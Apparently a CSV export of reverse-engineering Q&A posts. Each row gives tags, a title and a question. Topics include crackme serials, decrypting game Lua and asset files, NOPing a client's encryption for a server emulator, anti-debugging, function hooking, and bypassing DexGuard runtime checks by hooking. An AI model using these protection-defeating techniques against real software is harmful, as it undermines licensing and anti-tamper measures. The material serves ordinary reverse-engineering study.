if ((uint)(byte)((char)iterator + 100U ^ correct_code[iterator]) != (int)code[iterator])
+
+ +In the first iteration of the loop, it takes the iterator (which is 0) and adds 100 to it. This makes a total of 100 and performs a XOR operation with correct_code[0] which is 0x27 or 39 in decimal. The result of the XOR between 100 and 39 is 43. + +If I perform all the iterations of the loop, I get the following serial: + +43 84 70 123 114 97 110 115 48 109 95 119 52 114 101 125 + +However, the binary says this is not the correct serial. +I tried with and without spaces. + +What I am not understanding about this code snippet? +" +"['ida', 'windows', 'debugging', 'pe', 'injection']"," Title: Possible to inject a new menu into a program's menu bar?Body: Is it be possible to inject a new menu/menu item into a program's menu bar? + +As an example, in Notepad's (Windows) ""Help"" menu, would it be possible to add a new entry to that menu like ""Open calculator"" which runs calc.exe when clicked? How would one accomplish something like this? +" +"['assembly', 'debugging', 'gdb', 'macos']"," Title: GDB hangs when I try to run and debug a binaryBody: When I type gdb a.out and then run inside the gdb itself I get stuck on the empty line: + +
jericho-laptop:exploit.education jericho$ gdb a.out 
+GNU gdb (GDB) 9.1
+...
+Reading symbols from a.out...
+(No debugging symbols found in a.out)
+(gdb) run
+Starting program: /Users/jericho/Desktop/exploit.education/a.out 
+[New Thread 0x2703 of process 53514]
+[New Thread 0x2603 of process 53514]
+
+  <<< STUCK IN HERE >>>
+
+ +It obviously says 2 threads of a process 53514 were created. Though the program is not multi-threaded it is a simple tiny C crackme with only a main function. + +The console gets stuck, I can type whatever I want but I can't get it to continue and I can't get it to quit. I have to forcibly close the terminal window. + +

What am I doing wrong?

+ +I don't know what to do. The GDB does the same for any other binary I try to run. I am using MacOS with gdb 9.1 which I codesigned. +" +"['disassembly', 'binary-analysis', 'tools', 'automation']"," Title: Review a collection of executable binaries to determine similarityBody: I have a collection of different binaries I want to review for code similarity and classification, but I would rather not have to open each of them in IDA and manually review the code in 15 different samples. + +What tools or techniques can I use to automatically classify and determine code similarity/reuse between samples? My first thought is to use ssdeep, but I was wondering if there were any other open source tools or frameworks that could do the same. + +I would also like to request that a classification tag be added in case there are other people who want to ask questions about classifying files into different groups based on different binary features. +" +"['binary-analysis', 'gdb', 'elf', 'plt', 'got']"," Title: Dumping the GOT with gdb at run timeBody: I want to see how the plt stubs are being resolved at run time when lazy linking is used and how the GOT is changed along the way. How can I dump the GOT with gdb? +" +"['decompilation', 'python', 'deobfuscation', 'executable', 'decompile']"," Title: How to decompile obfuscated Python code?Body: I have an executable file, which I am trying to decompile. I have already deduced that it was originally programmed in Python. I know that it was obfuscated with PyArmor and possibly compiled with PyInstaller. I have tried multiple attempts at finding the source code, such as: + + + +But all of them, to no avail. Is there any way I can get the source code of this file, and if so, how? + +Here's the Stack Trace I got when I terminated the program with CTRL + C: + +
Traceback (most recent call last):
+  File ""<dist/obf\bot.py>"", line 3, in <module>
+  File ""<frozen bot>"", line 798, in <module>
+  File ""<frozen keyvalidation>"", line 243, in checkStuff
+  File ""<frozen keyvalidation>"", line 150, in checkKey
+  File ""site-packages\requests\api.py"", line 116, in post
+  File ""site-packages\requests\api.py"", line 60, in request
+  File ""site-packages\requests\sessions.py"", line 533, in request
+  File ""site-packages\requests\sessions.py"", line 646, in send
+  File ""site-packages\requests\adapters.py"", line 449, in send
+  File ""site-packages\urllib3\connectionpool.py"", line 672, in urlopen
+  File ""site-packages\urllib3\connectionpool.py"", line 376, in _make_request
+  File ""site-packages\urllib3\connectionpool.py"", line 994, in _validate_conn
+  File ""site-packages\urllib3\connection.py"", line 360, in connect
+  File ""site-packages\urllib3\util\ssl_.py"", line 370, in ssl_wrap_socket
+  File ""ssl.py"", line 412, in wrap_socket
+  File ""ssl.py"", line 850, in _create
+  File ""ssl.py"", line 1108, in do_handshake
+KeyboardInterrupt
+[36076] Failed to execute script bot
+
+" +['android']," Title: What code gets executed in an ELF binary when Java loadLibrary() is calledBody: I’ve been working on reverse engineering this android x86 ELF binary. According to my research when loadLibrary() is called the function JNI_onLoad is supposed to be executed however this binary doesn’t have it. I guess I’m confused on what loadlibrary() is actually doing. How would I find the first function or entry point to this binary? +" +['decompilation']," Title: Seeking for explanation about “ in_FS_OFFSET ” and “ __stack_chk_fail() ”Body: This is the part of the picoCTF 2019 problem ""Investigative Reversing 0"". I've encountered the following code when using Ghidra: + +
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
+                    /* WARNING: Subroutine does not return */
+    __stack_chk_fail();
+  }
+
+ +Although I've completed the challenge using this as a guide: +https://github.com/Dvd848/CTFs/blob/master/2019_picoCTF/Investigative_Reversing_0.md + +I still don't understand this part of the code and what it does.After a few more detailed search I found two datatype assigned to the code: + +
long in_FS_OFFSET;
+long lVar1;
+
+ +I did research combining the code with ‘in_FS_OFFSET’ and ‘__stack_chk_fail()’ and most of them turned up as solution writeups on various CTF problems.Only a minority of them are something else.Such as this: +https://hackaday.io/project/164346-andxor-dc27-badge/log/164366-reverse-engineering-with-ghidra-simtaco-floppy-challenge + +The site have very similar de-compiled results, so I'm thinking this part of the code had something to do in protecting the program from stack-overflow.I looked at the source code of the program in the bottom of the site and searched all the c library included, but I found no useful hints. +I returned to Ghidra and found this undefined function: + +
void UndefinedFunction_00101036(void)
+
+{
+                    /* WARNING: Treating indirect jump as call */
+  (*(code *)(undefined *)0x0)();
+  return;
+}
+
+ +Does this undefined function have anything to do with my question? If so, what might be the original code be? Thanks in advance for any answers. + +Edit: +disassembly part of the code + +
00101380  64 48 33        XOR        sVar2,qword ptr FS:[0x28]
+          04 25 28 
+          00 00 00
+00101389  74 05           JZ         LAB_00101390
+0010138b  e8 d0 fc        CALL       __stack_chk_fail       undefined __stack_chk_fail()
+          ff ff
+                             -- Flow Override: CALL_RETURN (CALL_TERMINATOR)
+
+
+ +and the function: + +
                        //
+                        // .plt 
+                        // SHT_PROGBITS  [0x1020 - 0x109f]
+                        // ram: 00101020-0010109f
+                        //
+                        LAB_00101020            XREF[9]:     0010103b(j), 0010104b(j), 
+                                                0010105b(j), 0010106b(j), 
+                                                0010107b(j), 0010108b(j), 
+                                                0010109b(j), 001020b4, 
+                                                _elfSectionHeaders::00000310(*)  
+        00101020 ff 35 6a        PUSH       qword ptr [PTR_00103f90]            = 00000000
+                 2f 00 00
+        00101026 ff 25 6c        JMP        qword ptr [PTR_00103f98]
+                 2f 00 00
+
+
+" +"['decompilation', 'ghidra']"," Title: Exporting/Importing all function info from one ghidra program to anotherBody: I'm looking for a way to export all infos about a function (Call signature including custom storage, local symbols, etc) in a ghidra program and import them into another ghidra program, but at a different address, and to do that automatically for 30-50 functions. + +This is within the context of a very large game executable, enough so that any form of full analysis is way too cumbersome for my needs, and each game patch shuffles most of the addresses. I already have most of that automated, but through manually defining serialiazation code for function elements like parameters, and was wondering if there was any better way. +" +"['firmware', 'intel']"," Title: Intel ME partitions EFFS and FCRS?Body:
    +
  1. What is the purpose of partitions EFFS and FCRS on systems with Intel ME 8.x?
  2. +
  3. Is it currently possible to parse data in EFFS partition on a ME image?
  4. +
+ +I hope anyone can help, there is so little information about this available. + +Thanks. +" +"['ida', 'game-hacking', 'lua']"," Title: Decrypting some possibly XXTEA encrypted lua/game filesBody: I am trying to extract assets from a Chinese game, I downloaded the apk file and unzipped it. I looked through the files and they are encrypted in some ways, the PNGs and LUAs are unviewable. + +The engine the game used was called TerransForceEngine which does not show any results in Google Search. I had a look in the lib folder and decided to open up the libtpnsSecurity.so file because of its name. I opened it in IDA and found some strings that may suggest that the so file is the one containing the encrypting and decrypting algorithms. + +Unfortunately I have no experience in using IDA. I have tried following other topics but they are usually about games which use Cocos2D and I couldn't follow the steps provided in said topic. + +The game's server leaked its Directories and I downloaded a few files with wget, there are php files and one of them is xxtea.php which is just a source code of the algorithm. I attached leak files here: https://www.dropbox.com/s/wkxs4s3v9wwf5ym/leak.zip?dl=0 + +The .so file, lib folder containing others .so files, example lua and png files can be download here: https://www.dropbox.com/s/alj37ai7qd4lmqh/game.zip?dl=0 +" +"['javascript', 'websites', 'proxy']"," Title: How to modify JS with mitmproxy?Body: I am trying to reverse engineer a heavily obfuscated web application, and I would like to modify the JS to add logging. So far, I've set up mitmproxy, but I can't figure out what the best way to edit the JS files is. Ideally this would be done in a way where I can save the edits and have them automatically apply when I refresh the page. +" +"['python', 'ghidra']"," Title: ghidra-python: create struct with big endian fieldBody: Using ghidra's python scripting engine, I'd like to create a struct which contains a big endian, unsigned integer. This field is always big endian, no matter what the endainess of the binary CPU is. + +My first attempt: + + + +
def uint32b():
+    dt = UnsignedIntegerDataType()
+    for s in dt.getSettingsDefinitions():
+        if isinstance(s, EndianSettingsDefinition):
+            s.setBigEndian(dt.getDefaultSettings(), False)
+    return dt
+
+ +However, when the struct is applied to data, I'm still seeing a little-endian value. The field's ""Default Settings -> Endian"" still set to ""Default"". + + +" +['radare2']," Title: How do I permanently change the disassembly syntax in Radare2?Body: As the title says, I am trying to change the default disassembly syntax in Radare2 from Intel to AT&T. Looking up documentation, I found the following. + +
[0x00405e1c]> e asm.syntax=att
+
+ +However, changing syntax this way does not persist across sessions. Is there a command I can use to save settings permanently? +" +['callstack']," Title: Estimate depth of call stack without symbolsBody: Assume we’re on an x86-64 machine and that we have read-access to the state of a program at a given instant, but we don’t have debugging symbols; in particular, we can read the program’s address space and the registers. + +Is it possible to reliably determine the depth of the call stack? Under which assumptions (e.g., calling conventions)? + +By the depth of the call stack I mean the number of call instructions minus the number of ret instructions that have happened in total in the course of the execution of the program. In the following pseudo trace, the number in the bracket is the depth of the call stack after the instruction in the respective line: + +
add eax ebx [0]
+...
+call 0x1234 [1]
+call 0x2345 [2]
+call 0x3456 [3]
+add eax ebx [3]
+jmp 0x4567  [3]
+...
+ret         [2]
+...
+ret         [1]
+call 0x1234 [2]
+...
+ret         [1]
+ret         [0]
+
+ +I’m not yet an expert in x86, calling convention and the stack layout. However, I vaguely suppose that one can “walk” the stack with the help of the ebp and esp registers. +" +"['ida', 'disassembly', 'decompilation', 'decompile']"," Title: How to find where a subroutine is being called (ida)Body: I am reversing an application using IDA. I have found a small subroutine that returns information at the end of that subroutine. However I would like to see the subroutine that uses this small subroutine I found and see how it uses the information returned by the small subroutine. + +I am new to this, is what Im trying to do a simple task, if so how can I do this? + +Thanks for the help ! +" +['idapro-sdk']," Title: IDA Pro SDK APIs inf.is_64bit() and inf.is_32bit() are not working as expected!Body: As per this already answered question How to get the CPU architecture via Idapython?, for reasons I'm unable to figure out, both inf.is_64bit() and inf.is_32bit() are not working for me. I'm using IDA C++ SDK v7.1. Even if the executable in the database is 64-bit, it still goes through the 32-bit check. Any idea why this is happening? +" +"['ida', 'windows', 'encryption', 'networking']"," Title: NOPed encrypt/decrypt functions in a Path of Exile client and now it crashes without message. Next step?Body: I am reversing an old Path of Exile client with the purpose of building an emulator. I managed to reach the character select screen in a newer, 64-bit client but I am struggling to make the same progress in an older 32-bit client. FWIW they use the same encryption setup, CryptoPP library and Salsa20 with public key encryption. I'm just trying to NOP the encrypt functions so I can ignore it. + +I found function calls to Call EDX both shortly before send and shortly after recv and these are the only function calls that seem likely to be crypt related. After NOPing the two functions, I did indeed confirm that the first login packet sends the username in plaintext so I think my encryption skip is good. But the client crashes upon receiving my second server packet. The unmodified client complains at this point about being unable to deserialise the packet I am sending. + +I am referencing a huge (600MB) collection of decrypted packets someone very generously shared with me in order to craft my server responses. + +My question is this - where should I look next? I am thinking of setting API Monitor to just watch every call made by the exe to see the last few things that happen as so far I've only been monitoring the network related calls. Or should I first confirm that the calls I'm NOPing are the only crypt related functions? I'm still new to this and unsure where my time is best spent. Thanks for any general insight you can provide! +" +['hexrays']," Title: Re-analyzing pseudocode IDA ProBody: While I was reversing a binary I noticed that IDA Pro had adjusted the pseudocode that initially was generated. This happened after I started reversing the binary and renamed functions and variables to more appropriate names. IDA Pro had then ""prettified"" or re-analyzed the pseudocode somehow. + +I am not sure what keys I pressed or options I clicked to achieve this, but it was extremely useful. + +How can I replicate this? +" +['radare2']," Title: Radare2 Debugging: How do I pipe a program's output to another's input?Body: I wrote a C program that constructs a ROP payload and sends it to stdout. Using Radare2's debug mode, how would I pipe this output to a binary I am trying to exploit that accepts input on stdin? + +For example, if my compiled C program is exp and the binary I am exploiting is vuln, I want to execute ./exp | ./vuln in Radare2's debug mode so I can see how my payload corrupts memory. + +I saw this post but, correct me if I am wrong, it doesn't seem to answer my question and just describes how to use a second terminal for input/output. + +Edit: I have found a workaround for the time being, but it is rather annoying to do repeatedly when I make changes. I first redirect the output to a new a file: ./exp > exp.output and then make a rarun2 script as follows: + +
#!/usr/bin/rarun2
+stdin=./exp.output
+
+ +And then I run things via r2 -e dbg.profile=dbg.rr2 -d vuln. +" +"['ida', 'c++', 'lua']"," Title: Lua script decode method?Body: I have a game plugin that enables the lua script encryption.I tried to decode it but it seems used many useless encode method to let you cannot understand it.It seem like some enctypted lua script there,But they are something different.(Decrypting Lua Files) + +The main file is win.xpl,a dll file.And i decode it with IDA and it seems to read the init .secured file first,and read main.key and serial.key(they all encrypted) +And it read acturl.dat to get activation link.Sadly,they all encrypted.All encrypted lua script is .secured and it's unreadable. + +Some can tell me what encryption is used?Thanks! + +Main program file:https://drive.google.com/open?id=1tUMcOPEFA0alc0lSHvT3YCKvR2llclJ2 + +And i found a vaild main.key file:https://drive.google.com/open?id=11unjtWBKqrbhlKKDXA6G3lmWemFaFbDx + +And the init main file:https://drive.google.com/open?id=1OSpgGsiJsqe7H3YO1dXYBQFlaozXNDTB + +Here maybe the acvation part: + +v45 = -2i64; + v2 = a2; + v3 = a1; + XPLMGetVersions(&v42, &v44, &v43); + v81 = 15i64; + v80 = 0i64; + Dst = 0; + v4 = ""10""; + if ( v42 >= 11000 ) + v4 = ""11""; + sub_1800845F0(&Dst, v4, 2ui64); + v5 = sub_1800978F0(); + v6 = sub_180097E40(v5, &v46); + sub_18008AD20((__int64)&Filename, v6, ""/main.key""); + if ( v48 >= 0x10 ) + { + v7 = (void *)v46; + if ( v48 + 1 >= 0x1000 ) + { + if ( v46 & 0x1F ) + invalid_parameter_noinfo_noreturn(); + v8 = *(_QWORD *)(v46 - 8); + if ( v8 >= v46 ) + invalid_parameter_noinfo_noreturn(); + if ( v46 - v8 < 8 ) + invalid_parameter_noinfo_noreturn(); + if ( v46 - v8 > 0x27 ) + invalid_parameter_noinfo_noreturn(); + v7 = *(void **)(v46 - 8); + } + j_j__free_base(v7); + } + +I think the key is in the ""v6""? +" +"['static-analysis', 'dynamic-analysis']"," Title: Get function return valueBody: Any idea for more ways to get return value?
+(No hooks, no hw/memory breakpoints, no call functions).
+thx :) +I tried to find a dword maybe that hold the function return, but I didn't find it. +I'm trying to create an API. +" +"['assembly', 'debugging', 'x64dbg', 'xor']"," Title: xor eax,3 why does the input change the way it does?Body: I am new to reverse engineering and I am trying to figure out exactly what xor is doing in this little program. I know if I put any number other than 0 I get a xor eax,3 so if I put in 1 I get 2 if I input 2 I get 1 if I input 7 I get 4 I am just trying to understand why. + + +" +"['debugging', 'dynamic-analysis']"," Title: How to retrieve generically memory reads of an input and determine all relevant offsets?Body: I would like to record all memory read operations that are performed by an application on a given input file, to help infer which specific parts of an input are relevant for the specific execution that opens the input. + +I'm trying to achieve this for Windows applications, whereas the applications itself can be x86 or x64, and the input is not of a specific format (e.g. solution should not only work with JPG, but also PNG or XYZ). The solution is intended to work for applications without access to the source code (binaries only, no symbols). + +An example + +Input foo.bar: + + + +Program n: + + + +Potential problems I can think of: + + + +As per my current understanding, what I could do as a start is to: + +1) Research the specific Windows APIs for file opening/handling + +2) Set a breakpoint on them and retrieve the parameters + +3) From here on, how can I determine or map the specific offsets within an input and the program access on it? + +Is there any script or tool that already does something like this, e.g. by relying on WinDbg or DBI frameworks like DynamoRIO or PIN? + +If not, I'd really appreciate if someone can point me towards specific resources or key words that would help me in better understand how to approach this problem and come up with a pratical solution. Any help would be much appreciated. +" +"['windbg', 'anti-debugging']"," Title: Getting NTSTATUS 0xC0000022 when attempting to debug a processBody: I am attempting to debug a process with windbg (with admin privileges) and I am getting the following error: + +
Could not attach to process XXXX =, NTSTATUS 0xC0000022
+
+{Access Denied} A process has requested access to an object, but has not been granted those access rights
+
+ +I know some anti-debugging tricks are at play, but I am not sure where to start looking. This program is running multiple processes, including a few with interesting names such as InjectionService, I cannot attach to any of them. And the binaries themselves are obfuscated. I am wondering if someone can point me in the right direction to get started, for example by referencing some reading material. +" +"['firmware', 'binwalk']"," Title: No false positive on binwalkBody: I have the same problem from my previous post but this time, I don't think it's the same culprit again as I have solved the problems. + +This time, I'm very sure I had extracted the firmware. On my hexdump, here is what I got: + + +On binvis.io: + + + +And lastly, binwalk: + + +From the entropy, it shows that it's compressed rather than encrypted, right? + +I tried to ignore the false positive and decided to proceed disassembling with Ghidra. But I got tons of error (I think so) because there were red and orange indicator on the side scroll bar, in the code browser, like the one you would get in Android Studio if there's an error. + +On other websites, I found out that getting an output from the false positive is a crucial part to extract/disassemble. + +So what seems to be the problem? Do I have to install something like matplotlib for it to work? If there's anything you want me to add, please don't hesitate to let me know. Thanks in advance. + +Oh, it's a firmware from a Smart Door Lock using a nRF51802 if it matters. +" +"['windows', 'anti-debugging', 'breakpoint']"," Title: Anti-debug clearing hardware breakpointsBody: An application I am debugging somehow manages to clear my hardware breakpoints. I am using TitanHide and x64dbg. + +I am observing the following behaviour: + + + +I am not sure what causes this obscure behaviour, but what I do know is that my hardware breakpoints are not getting hit, so I researched what could possibly clear them. I have come up with: + + + +However all 3 methods should be caught by TitanHide, and exceptions should show up in the log of x64dbg (which they don't). Are there any further methods to clear hardware breakpoints? +" +"['dll', 'encryption', 'obfuscation']"," Title: How to call strongly encrypted DLL from Resources?Body: There is a program. This program accepts plugins. Plugins written with C#. I have to encrypt it. But when I use strong obfuscators I have exception. Program doesn't read. How can I fix that ? How can I call strongly encrypted dll from an application. Just confuserex working but its not strong enough. + +
 private static void LoadDll(byte[] dll, string namespacePlusClass)
+        {
+            try
+            {
+                var a = Assembly.Load(dll);
+                var myType = a.GetType(namespacePlusClass);
+                var methon = myType.GetMethod(""Main"", BindingFlags.Public | BindingFlags.Static);
+
+                if (methon != null)
+                {
+                    methon.Invoke(null, null);
+                }
+            }
+            catch (Exception ex)
+            {
+                Console.WriteLine(ex);
+            }
+        }
+
+" +"['ida', 'disassembly', 'decompilation']"," Title: IDA subroutine code running when not being calledBody: Im trying to find where this subroutine is being called in IDA. I use xrefs to see where the subroutine is being called and I NOP the all the calls in all the subroutines in the xrefs. I do this for all the calls in the xrefs so nothing is calling this subroutine but the code in the subroutine is still being ran ingame and im so confused. is there some other place other than the xrefs where the subroutine is being called? +thanks for the help +" +"['decompilation', 'decompress', 'risc']"," Title: Is this file compressed, and if yes what type of compression is it. And how can I find it myselfBody: I'm once again stuck on a binary image, which seems like it might be compressed, but I can't find any way to detect the compression used, let alone decompress it. + +The binary in question is from a ""Frontier Silicon FS2026 Internet Radio Module"" using their ""CHORUS 3"" SoC. Their chip is supposedly using an Meta122 RISC CPU/DSP. + +The image itself can be found here: link + +The section in question can be found at offset 0x592C + +It appears that the decompression algorithm might be in the section starting at 0x400 because it mentions terms along the lines of ""CompSize"", ""DecompSize"", ""CompBuffer""..., and the CompSize has a uint32_t value before it, that is the exact size of the section starting at 0x592c + +If you need any more information, I won't hesitate to clarify. + +Best regards +" +"['ida', 'c++', 'function-hooking']"," Title: Detouring function cause exception access violationBody: i am learning to detouring functions, but i run into one that i cannot be resolved. + +I use the Detour lib from microsoft, and a custom method. +Both cause the same problem, the function is hooked and returns to the original, but continuing the program crashes with error. + +My code using Detours lib: + +Function definition: + +
typedef int(__stdcall* itemPos) ( int param_1, float param_2, float param_3, float param_4, float param_5, float param_6, float param_7);
+itemPos originalItemPos;
+int __stdcall hkItemPos(int param_1, float param_2, float param_3, float param_4, float param_5, float param_6, float param_7) {
+    return originalItemPos(param_1, param_2, param_3, param_4, param_5, param_6, param_7);
+}
+
+ +Initialice detours to hook: + +
DetourTransactionBegin();
+DetourUpdateThread(GetCurrentThread());
+DWORD offset = Scanner.FindPattern(""program.exe"", ""\x55\x8B\xEC\x83\xE4"", ""xxxxx"");
+originalItemPos = (itemPos)offset;
+DetourAttach(&(LPVOID&)originalItemPos, &hkItemPos);
+if (DetourTransactionCommit() != NO_ERROR)
+    printf(""Detoured error in sub_CCD440\n"");
+
+ +The function looks like this in IDA + +The way it is called + +Error image + +I have code to hook the function without using a library, but the error i get is the same, so i guess something is being overlooked. +If necessary i will add it. + +Thank you very much in advance. +" +['android']," Title: Proper way of implementing DexGuard RASP device checksBody: I recently came across an app that is protected with DexGuard. DexGuard claims to offer Runtime Application Self Protection (RASP), which comprises of app obfuscation and various runtime tampering checks (anti debugger/emulator/hooking/repackage/root/etc). However, while the app I discovered is rather well obfuscated, there were several rather glaring issues. For example, the type of device checks were described in a DeviceCheck class file, which have static variables for each type of check (e.g. EMULATOR = 1, HOOKED = 5, etc). By hooking onto the relevant method and returning false for each of these values, I was able to disable all checks. + +This seems trivially simple to bypass given that DexGuard claims to be an enterprise level RASP solution, so I'm wondering if it was a misconfiguration or incorrect implementation on the developer's part. I'm unable to find any documentation of DexGuard online on implementation guidelines, so I'm hoping someone here who has experience would be able to shed some light. + +Thanks! +" +['ida']," Title: Is it possible to dump input file?Body: Similarly to retrieve_input_file_md5, I was looking for a way to dump a patched input file. + +Basically, I would like to do the following: + + + +Is this possible from within IDA ? +" +"['windows', 'malware', 'debuggers', 'injection']"," Title: How To Identify Which Process Is Being Written To With WriteProcessMemory?Body: Basically, I cannot find which process is being written to when WriteProcessMemory is being called. +Currently I'm Setting Breakpoints on WriteProcessMemory and OpenProcess. However, the process handle being passed to WriteProcessMemory is different from that obtained from OpenProcess, so it appears that the process handle is being obtained in another way. Is there something I'm missing out on? Should I add more breakpoints on other functions? +" +"['elf', 'ghidra']"," Title: Ghidra python - get program base addressBody: What is the way to get the program base address in Ghidra? +" +"['ida', 'binary-analysis', 'tools']"," Title: Gui disabled program functionalityBody: Right now I'm performing analysis of a GUI based application and I'm trying to determine all of it's available functionality. + +Right now there's one button remaining labeled ""Encrypt"", which is greyed out. Based on the context, it would seem as though this button is responsible not for encrypting communication, but rather for packing the output of the program, using another program. I would like to confirm this directly though. + +My issue is that I don't know how to locate the code that this button would trigger on the backend, or how to find what makes it available or unavailable in the GUI. Where can I find the logic responsible for determining what is available in the GUI, and where can I find what buttons are connected to which functionality using static analysis? + +Edit: I've since run through the loading of the GUI using process monitor and I wasn't able to find any meaningful file query missing, which might shoot down the idea that the ""encrypt"" button is responsible for packing the payloads. +" +['ghidra']," Title: How do I use GnuDisassembler (gdis) in Ghidra?Body: I have managed to compile the GnuDisassembler Ghidra extension, but I only got a single executable, gdis. My questions: + +Do I have to 'install' gdis in Ghidra, and if yes, how? + +How do I use gdis from within Ghidra? + +Is it possible to replace the built-in disassembler with gdis? + +How do I 'enable' the additional CPU architectures provided by gdis (in my case ARC600)? +" +"['ghidra', 'import-reconstruction']"," Title: For some reason Ghidra SRE cannot determine some importsBody: After loading the Windows PE executable into Ghidra SRE, some functions imported from MFC90U.DLL Ghidra does not detect: + +
                DAT_00aea270                   FUN_004ae180:004ae1ee, 
+                                               FUN_004b0f40:004b1b84, 
+                                               FUN_004bb2b0:004bb475, 
+                                               FUN_0067a2f0:0067a332, [more]
+        00aea270 af            ??         AFh     XREF[892]:
+        00aea271 09            ??         09h
+        00aea272 00            ??         00h
+        00aea273 80            ??         80h
+
+
+ +I exactly know that this is a function of CStringT :: Find. Similarly, the CStringT :: Replace function is undefined by Ghidra, too. + +If I force the bytes at address 0x00AEA270 to be the type of pointer, then I hover the cursor over the DAT_800009af variable and Ghidra complains ""Address: ram: 800009af, Address not in memory"": + +
                PTR_DAT_00aea270               FUN_004ae180:004ae1ee, 
+                                               FUN_004b0f40:004b1b84, 
+                                               FUN_004bb2b0:004bb475, 
+                                               FUN_0067a2f0:0067a332, [more]
+        00aea270 af 09 00 80   addr       DAT_800009af     XREF[892]:
+                                               +----------------------+
+                                               |Address: ram: 800009af|
+                                               |Address not in memory |
+                                               +----------------------+
+
+ +At the same time, other functions from the same MFC90U.DLL are detected correctly: + +
             **************************************************************
+             *                POINTER to EXTERNAL FUNCTION                *
+             **************************************************************
+                 CStringT<wchar_t,class_StrTraitMFC_DLL<wchar_t,class_ATL
+             CStringT<wchar    EAX:4          <RETURN>
+             CStringT<wchar    ECX:4 (auto)   this
+             CStringT<wchar    Stack[0x4]:4   param_1
+                811  Ordinal_811  <<not bound>>
+                PTR_operator=_00aea26c         FUN_004cdbe0:004ce2e5,
+                                               FUN_00911be0:00914605, [more]
+        00aea26c 2b 03 00 80   addr       MFC90U.DLL::ATL::CStringT<wchar_t,class_StrTra   XREF[4517]:
+
+             **************************************************************
+             *                POINTER to EXTERNAL FUNCTION                *
+             **************************************************************
+                 int __thiscall ShowWindow(CWnd * this, int param_1)
+             int               EAX:4          <RETURN>
+             CWnd *            ECX:4 (auto)   this
+             int               Stack[0x4]:4   param_1
+                 6604  Ordinal_6604  <<not bound>>
+                 PTR_ShowWindow_00aea278                         ShowWindow:00947004  
+        00aea278 cc 19 00 80    addr       MFC90U.DLL::CWnd::ShowWindow                     XREF[1]:
+
+ +Moreover, the address of functions that Ghidra does not detect (0x800009af which is CStringT::Find and 0x80001723 which is CStringT::Replace) are located between the addresses 0x8000032b and 0x800019cc, i.e. between the addresses of those functions that Ghidra SRE detects. That is, these addresses cannot be ""Address not in memory"" by any means! + +As a result, in the listing window: + +
    006c88a2 68 8c 98           PUSH       u_</HeaderData>_00b6988c
+             b6 00
+    006c88a7 8d 8d 34           LEA        ECX=>local_26d0,[EBP + 0xffffd934]
+             d9 ff ff
+                              -> DAT_800009af
+    006c88ad ff 15 70           CALL       dword ptr [PTR_DAT_00aea270]
+             a2 ae 00
+    006c88b3 85 c0              TEST       EAX,EAX
+    006c88b5 7c 13              JL         LAB_006c88ca
+
+ +and in the decompiler window: + +
    iVar4 = (*(code *)&DAT_800009af)(L""</HeaderData>"",0);
+    if (-1 < iVar4) {
+
+ +I only see unknown calls from indirect unknown addresses. + +But IDA Pro correctly detects the same imports. Here is the import window with the same imports from IDA Pro: + +
.idata:00AEA26C ; public: class ATL::CStringT<wchar_t, class StrTraitMFC_DLL<wchar_t, class ATL::ChTraitsCRT<wchar_t>>> & __thiscall ATL::CStringT<wchar_t, class StrTraitMFC_DLL<wchar_t, class ATL::ChTraitsCRT<wchar_t>>>::operator=(class ATL::CStringT<wchar_t, class StrTraitMFC_DLL<wchar_t, class ATL::ChTraitsCRT<wchar_t>>> const &)
+.idata:00AEA26C                 extrn ??4?$CStringT@_WV?$StrTraitMFC_DLL@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@QAEAAV01@ABV01@@Z:dword
+.idata:00AEA26C                                         ; CODE XREF: sub_4016D0+15E↑p
+.idata:00AEA26C                                         ; sub_402E30+30↑p ...
+.idata:00AEA270 ; public: int __thiscall ATL::CStringT<wchar_t, class StrTraitMFC_DLL<wchar_t, class ATL::ChTraitsCRT<wchar_t>>>::Find(wchar_t const *, int)const
+.idata:00AEA270                 extrn ?Find@?$CStringT@_WV?$StrTraitMFC_DLL@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@QBEHPB_WH@Z:dword
+.idata:00AEA270                                         ; CODE XREF: sub_401680+1A↑p
+.idata:00AEA270                                         ; sub_403210+8B↑p ...
+.idata:00AEA274 ; public: int __thiscall ATL::CStringT<wchar_t, class StrTraitMFC_DLL<wchar_t, class ATL::ChTraitsCRT<wchar_t>>>::Replace(wchar_t const *, wchar_t const *)
+.idata:00AEA274                 extrn ?Replace@?$CStringT@_WV?$StrTraitMFC_DLL@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@QAEHPB_W0@Z:dword
+.idata:00AEA274                                         ; CODE XREF: sub_4011C0+269↑p
+.idata:00AEA274                                         ; sub_41A3F0+D7↑p ...
+.idata:00AEA278 ; __declspec(dllimport) public: int __thiscall CWnd::ShowWindow(int)
+.idata:00AEA278                 extrn __imp_?ShowWindow@CWnd@@QAEHH@Z:dword
+.idata:00AEA278                                         ; DATA XREF: CWnd::ShowWindow(int)↑r
+
+ +Here is the IDA Pro listing window showing the same place inside the executable: + +
.text:006C88A2                 push    offset aHeaderdata ; ""</HeaderData>""
+.text:006C88A7                 lea     ecx, [ebp+var_26CC]
+.text:006C88AD                 call    ds:?Find@?$CStringT@_WV?$StrTraitMFC_DLL@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@QBEHPB_WH@Z ; ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::Find(wchar_t const *,int)
+.text:006C88B3                 test    eax, eax
+.text:006C88B5                 jl      short loc_6C88CA
+
+ +and the Hex-Rays decompiler window with the call to this function is also in the same place inside the executable: + +
    v18 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::Find(&v39, L""</HeaderData>"", 0);
+    if ( v18 >= 0 )
+    {
+
+ +However, I prefer the result of the Ghidra decompiler some more than the Hex-Rays decompiler does, and therefore I would like to use Ghidra at least for this particular executable file. + +How could I achieve correct importing with Ghidra? What should I do to fix it? How could I tell Ghidra that these are normal imported functions located at normal addresses inside the executable process? + +Yes, there is the description of both CStringT::Find and CStringT::Replace inside the file ~/ghidra_9.1.2_PUBLIC/Ghidra/Features/Base/data/symbols/win32/mfc90u.exports: + +
[...]
+
+<EXPORT ORDINAL=""2479"" NAME=""?Find@?$CStringT@_WV?$StrTraitMFC_DLL@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@QBEHPB_WH@Z"" PURGE=""-1"" COMMENT="""" />
+
+[...]
+
